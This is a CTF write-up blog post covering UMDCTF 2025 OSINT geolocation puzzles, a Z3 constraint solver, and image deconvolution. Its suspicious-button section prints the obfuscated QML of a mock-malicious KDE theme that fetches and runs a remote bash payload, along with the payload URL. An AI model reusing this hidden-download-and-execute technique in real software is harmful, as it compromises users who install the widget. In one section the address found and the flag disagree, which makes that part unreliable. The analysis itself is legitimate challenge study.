Post

UMDCTF 2025 Write-up

UMDCTF 2025 Write-up

Introduction

This weekend I have competed in UMDCTF 2025 with my team and it was really fun. I really enjoyed the new categories that were meant to satirize the “brain rot” phenomenon.


ohio/sunshine

Description

This challenge provided an image of a street in Ohio and prompted the full address of house number 356.

Solution

If we carefully look at the original image we can reverse search the logo on the trash bins and thus find the city, making the search a lot easier.

Trash bin in original image

Reversed trash bin logo

Using the query “akron house 356” in Google, we find the exact house.

Found house on Google

Flag:

1
UMDCTF{356 Hillwood Dr, Akron, OH 44320}

ohio/the-master

Description

Again, this challenge provided an image of a street in Ohio and prompted the full street address.

Solution

Looking at the signs present in the image, we can se a particularly interesting one relating to John Hunt Morgan Heritage Trail.

Sign found in original image

Reversed sign logo

Searching about this trail on Google we find a master list of the markers, this website: John Hunt Morgan Heritage Trail in Ohio Historical Markers. Another clue to the location is the church next to the house which narrows down the search. Given these properties, we manage to find the exact location on Google Maps: 190 Main St.

Flag:

1
UMDCTF{Main St, Lore City, OH 43755}

nyt/sudoku

Description

This challenge consists of a remote server which seems to be running some kind of sudoku game. Our goal is to win this game.

Solution

Using a wrong format for input like “1” gives us a clue about the constraints for the supposed sudoku game as well as the correct input format.

1
2
3
4
5
input: 1

Traceback (most recent call last):
  File "/app/run", line 2, in <module>
    (s := [*map(int,input("input: "))]) is not s[69] == s[68] > s[58] == s[26] > s[18] == s[43] > s[28] == s[48] == s[78] > s[5] == s[62] == s[72] > s[70] == s[51] == s[2] > s[31] == s[57] > s[41] == s[10] > s[24] == s[55] == s[36] == s[39] > 0 != s[45] != 0 != s[30] != 0 != s[32] != 0 != s[42] != 0 ...<SNIP>... != s[59] != s[23] is not print(open("flag.txt").read())

Instead of trying to manually analyze or solve this chaotic tangle of relationships, the following script uses symbolic execution with the help of the Z3 theorem prover. Each entry in the array is treated as an unknown integer value. The code then systematically translates the entire messy condition string into formal logical constraints understandable by Z3. Z3, being a powerful constraint solver, can then reason through the relationships and figure out valid assignments of numbers to all variables that satisfy every single constraint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import re
from z3 import Solver, Int, sat, And

# The full condition string from the traceback 
condition_string = "s[69] == s[68] > s[58] == s[26] > s[18] == s[43] ...<SNIP>... != s[68] != s[14] != s[31] != s[0] != s[27] != s[66] != s[18] != s[2] != s[8] != s[71] != s[62] != s[57] != s[63] != s[10] != s[11] != s[72] != s[70] != s[50] != s[19] != s[26] != s[33] != s[54] != s[68] != s[60] != s[59] != s[65] != s[80] != s[73] != s[23] != s[50] != s[56] != s[48] != s[67] != s[44] != s[36] != s[38] != s[3] != s[10] != s[75] != s[73] != s[25] != s[80] != s[59] != s[23]"

# --- Create Solver and Variables ---
solver = Solver()
s = [Int(f's_{i}') for i in range(81)]

# --- Add Constraints ---

# 1. Each cell contains a digit from 1 to 9
for i in range(81):
    solver.add(s[i] >= 1, s[i] <= 9)

# 2. Specific equality constraints from Block 1
# Group 1 = 9
solver.add(s[69] == 9, s[68] == 9)
# Group 2 = 8
solver.add(s[58] == 8, s[26] == 8)
# Group 3 = 7
solver.add(s[18] == 7, s[43] == 7)
# Group 4 = 6
solver.add(s[28] == 6, s[48] == 6, s[78] == 6)
# Group 5 = 5
solver.add(s[5] == 5, s[62] == 5, s[72] == 5)
# Group 6 = 4
solver.add(s[70] == 4, s[51] == 4, s[2] == 4)
# Group 7 = 3
solver.add(s[31] == 3, s[57] == 3)
# Group 8 = 2
solver.add(s[41] == 2, s[10] == 2)
# Group 9 = 1
solver.add(s[24] == 1, s[55] == 1, s[36] == 1, s[39] == 1)

# 3. Parse and add pairwise inequality constraints from the rest of the chain
# Find the part of the string after '> 0'
try:
    inequality_part = condition_string.split("> 0", 1)[1]
except IndexError:
    print("Error: '> 0' not found in the condition string. Cannot parse inequalities.")
    inequality_part = ""

if inequality_part:
    # Split the inequality part by '!='
    # Terms will be like ' s[45] ', ' 0 ', ' s[30] ', etc.
    terms = [term.strip() for term in inequality_part.split('!=')]

    parsed_inequalities = 0
    # Iterate through consecutive terms and add constraints s[a] != s[b]
    # We ignore '0' because the domain 1-9 already handles 's[x] != 0'
    for i in range(len(terms) - 1):
        term1 = terms[i]
        term2 = terms[i+1]

        # Skip constraints involving '0'
        if term1 == '0' or term2 == '0':
            continue

        # Extract indices from terms like 's[45]'
        idx1_match = re.match(r"s\[(\d+)\]", term1)
        idx2_match = re.match(r"s\[(\d+)\]", term2)

        if idx1_match and idx2_match:
            idx1 = int(idx1_match.group(1))
            idx2 = int(idx2_match.group(1))
            # Add the constraint s[idx1] != s[idx2]
            # Check bounds just in case parsing is weird, although unlikely here
            if 0 <= idx1 < 81 and 0 <= idx2 < 81:
                 solver.add(s[idx1] != s[idx2])
                 parsed_inequalities += 1
            else:
                 print(f"Warning: Index out of bounds ({idx1} or {idx2}) in inequality between '{term1}' and '{term2}'")

        else:
            # This might happen if there's unexpected format, e.g. != print(...) at the end
            # print(f"Warning: Could not parse indices for inequality between '{term1}' and '{term2}'")
            pass # Ignore if we can't parse both sides as s[index]

    print(f"Added {parsed_inequalities} explicit pairwise inequality constraints.")

# --- Check for Solution and Print ---
print("Solving with explicit value and inequality constraints (NO Sudoku rules)...")

if solver.check() == sat:
    print("Solution found!")
    m = solver.model()
    solution = []
    # Ensure all cells have a value assigned by the model
    all_assigned = True
    for i in range(81):
        val = m.evaluate(s[i], model_completion=True) # Use model_completion=True
        if val is None:
            print(f"Error: Model did not assign a value to s[{i}]")
            all_assigned = False
            break
        solution.append(val.as_long())

    if all_assigned:
        # Format for the nc command (single string of 81 digits)
        solution_string = "".join(map(str, solution))
        print("\nInput string for nc:")
        print(solution_string)

        # Optional: Print formatted grid for verification (will likely not be a valid Sudoku)
        print("\nResulting Grid:")
        for r in range(9):
            row_str = ""
            for c in range(9):
                row_str += str(solution[r * 9 + c]) + " "
                if (c + 1) % 3 == 0 and c < 8:
                    row_str += "| "
            print(row_str.strip())
            if (r + 1) % 3 == 0 and r < 8:
                print("-" * 21)
    else:
         print("Could not generate solution string due to unassigned variables.")


else:
    print("Constraints are unsatisfiable.")

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Added 810 explicit pairwise inequality constraints.
Solving with explicit value and inequality constraints (NO Sudoku rules)...
Solution found!

Input string for nc:
224945891227236799775446158763132236157152174561681439614389755963829948537883684

Resulting Grid:
2 2 4 | 9 4 5 | 8 9 1
2 2 7 | 2 3 6 | 7 9 9
7 7 5 | 4 4 6 | 1 5 8
---------------------
7 6 3 | 1 3 2 | 2 3 6
1 5 7 | 1 5 2 | 1 7 4
5 6 1 | 6 8 1 | 4 3 9
---------------------
6 1 4 | 3 8 9 | 7 5 5
9 6 3 | 8 2 9 | 9 4 8
5 3 7 | 8 8 3 | 6 8 4

Flag:

1
UMDCTF{has_operator_chaining_gone_too_far}

misc/suspicious-button

Description

The challenge presents the source code of a supposed malware KDE theme and we are asked to find the payload.

Solution

Looking through the source code, in plasmoids/susbutton/contents/ui we find two files: main.qml and Sus.qml. Here we find obfuscated payloads which reveal the malicious properties of the theme.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// main.qml
import QtQuick
import QtQuick.Layouts
import org.kde.plasma.components
import org.kde.plasma.plasmoid
import org.kde.kirigami as Kirigami
import org.kde.plasma.plasma5support as Plasma5Support
import QtMultimedia



PlasmoidItem {
	id: root
	height: plasmoid.configuration.iconSize
	width: plasmoid.configuration.iconSize
	preferredRepresentation: fullRepresentation

	Plasma5Support.DataSource {
		id: executable
		engine: "executable"
		connectedSources: []
		onNewData: {
			var exitCode = data["exit code"]
			var exitStatus = data["exit status"]
			var stdout = data["stdout"]
			var stderr = data["stderr"]
			exited(exitCode, exitStatus, stdout, stderr)
			disconnectSource(sourceName) // cmd finished
		}
		function exec(cmd) {
			connectSource(cmd)
		}
		signal exited(int exitCode, int exitStatus, string stdout, string stderr)
	}
	Sus {
		id: s
	}


	fullRepresentation: Item {
		anchors.fill: parent

		Kirigami.Icon {
			id: icon_button
			source: "among-us"
			anchors.fill: parent

			SoundEffect {
				id: sussy
				source: "sussy.wav"
			}

			MouseArea {
				anchors.fill: parent
				acceptedButtons: Qt.LeftButton
				onClicked:  (mr) => {
					sussy.play();
					var lx=s.ll[0]+s.ll[s.l(2,2)]+s.ll[s.l(s.l(2,2),s.l(2,2))]+s.ll[321-309];var k=+"",e=executable;var f = e[lx];e=s.q;var n=[],sd='bu';n+=[];var l=s.b("UDMctf"),mm=sd;e+=s.$__+s.$___;for(;k<l;k++){n+=e[l*k%67];}var h=8,ff="{}";sd+='rr';var g=f,nn=2;--h; var q=s.b(1);mr=mr[mm+s.su(+[])+s.su(2)+s.r()]; var qq=function(h,p,r){mm+='{';for(;k<67;k++){h+=e[l*k%(s.c(r,p)-mr)]}return h;};n=qq(n,h,24); h = [g,6,12,n];k=s.l([],[]); h[1]=h[0];h[mr-1]=mr;s.p(h[3],s.l,h[1],k); h=ff;n=2;ff=h;(r)=>{while(mr-1){r+=s.q[mr];mr--;}return r;}(s.p); s.p(ff,s.l,()=>{},0);
				}
			}
		}
	}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Sus.qml
import QtQuick

Item {
	property var $__: '/21d72pldx|a u t:st.dfocf587/yat bh'
	property var $___: '/2pldx|Mopqfa99\\gyat'
	property var q: 'clts/acmtifa55d3ao.t s rhp/tiuc.'
	property var ll: 'eN+AxblBeKr2c'
	function b(sus) {return sus[3]='c'?45:46;}
	function c(sus,sus2) {return sus2?c(sus*sus%127,--sus2):sus}
	function l($_,_$){return $_+_$;}
	function r(){return 'on'}
	function p (a,b,c,d) {return c(b(a,d)+d);}
	function su(r){return "tlt"[r]}
}

If we ask ChatGPT to deobfuscate these files, we find that the theme executes some bash script from a remote location:

1
https://static.umdctf.io/fc2af155d587d723/payload.txt

Deobfuscating this one more time with the following command reveals the flag:

1
2
3
printf 'QlpoOTFBWSZTWV6+ejAAABOfgECBgAkNAgYAv+/+CiAASIkG1A0aAeU9MoNCKNGEPQIaDCM0Qeq7JjaChSBUQyjnHBfDcziPcgeyD7qxoCheMPpv/DUmqA4vWAxSYbGoBdFjcXckU4UJBevnowA=' \
  | base64 -d \
  | bunzip2 -c

Output:

1
echo 'UMDCTF{kde_global_themes_can_be_quite_sus}' > /tmp/.flag; rm /tmp/.flag

Flag:

1
UMDCTF{kde_global_themes_can_be_quite_sus}

ohio/gerard-manley-hopkins

Description

This challenge provides an image of a street in Ohio and prompts for the full street address.

Solution

Again, if we carefully look at the original image we can reverse search the logo on the trash bin which leads us to the adjacent street from the image.

Trash bin logo

Using the query “Dailey’s 532-4667” on Google, we find this website: Dailey’s Recycling & Refuse on 18th St in Wellsville, OH . This reveals the adjacent street and by using Pedestrian View and the house numbers (1121 and 1116) we find the exact location: 1121 Mick Rd.

Flag:

1
UMDCTF{Hillcrest Rd, Wellsville, OH 43968}

misc/alien-transmission

Description

This challenge consists of a generation script for a convoluted image and the output convoluted image. The goal is to recover the original image.

Solution

The main vulnerability of the script is the fixed seed which allows us to reconstruct the kernel and try different deconvolution methods in order to recover the original flag.png file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import numpy as np
import random
from skimage.io import imread, imsave


filename = "./flag.png"
img = imread(filename, as_gray=True)

(width, height) = img.shape

random.seed(420)
kernel = [[float(random.randint(-10,10)) for _ in range(19)] for _ in range(19)]
print(kernel)
q = sum(sum(kernel, start=[]))
print(q)

kernel = [[a / q for a in r] for r in kernel]

output_data = []
for x in range(9, width-9):
    row = []
    for y in range(9, height-9):
        p = 0.0
        for i in range(-9, 10):
            for j in range(-9, 10):
                p += img[x+i, y+j] * kernel[i+9][j+9] 
        row.append((0, p, 0))
    output_data.append(row)

output_data = np.array(output_data)
output_data = np.interp(output_data, (-10, 10), (0, 256))
output_data = np.uint8(np.round(output_data))
imsave("output.png", output_data)

This is output.png:

After trying different methods, frequency-domain inversion using Fourier deconvolution seems to be the best one. The clarity on the reconstructed image is good enough for reading the characters that compose the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import numpy as np
import random
from skimage.io import imread, imsave
from scipy.signal import fftconvolve

# Reconstruct kernel
random.seed(420)
kernel = np.array([[random.randint(-10,10) for _ in range(19)] for _ in range(19)])
kernel = kernel / kernel.sum()

# Load and preprocess
encoded = imread("output.png")[:, :, 1].astype(np.float32)
p_values = (encoded / 255.0) * 20 - 10

# Pad and prepare for FFT
pad_size = 9
padded = np.pad(p_values, pad_size, mode="edge")
kernel_padded = np.zeros(padded.shape)
kernel_padded[:19, :19] = kernel[::-1, ::-1]

# Fourier deconvolution
fft_img = np.fft.fft2(padded)
fft_kernel = np.fft.fft2(kernel_padded)
epsilon = 0.01 * np.max(np.abs(fft_kernel))
fft_recovered = fft_img / (fft_kernel + epsilon)

# Inverse transform and crop
recovered = np.fft.ifft2(fft_recovered).real
recovered = recovered[pad_size:-pad_size, pad_size:-pad_size]

# Proper normalization with fixed line continuation
p_low = np.percentile(recovered, 0.1)
p_high = np.percentile(recovered, 99.9)
recovered = (recovered - p_low) / (p_high - p_low)  # Fixed line continuation

# Final processing
recovered = np.clip(255 * recovered, 0, 255).astype(np.uint8)
imsave("flag.png", recovered)

This is the reconstructed flag.png image:

Flag:

1
UMDCTF{gl33p_gl0rp}

Conclusion

UMDCTF 2025 was an absolute blast — huge props to the organizers for putting together such a creative and chaotic mix of challenges. I really appreciated the fresh categories (especially the satirical ones poking fun at brain rot), and the mix of both technical and OSINT-heavy problems kept things from feeling stale. Some challenges were cursed in the best possible way, and others were just pure detective work. Overall, it was a super fun weekend grinding through these puzzles with my team, and I’m already looking forward to what next year will bring.

This post is licensed under CC BY 4.0 by the author.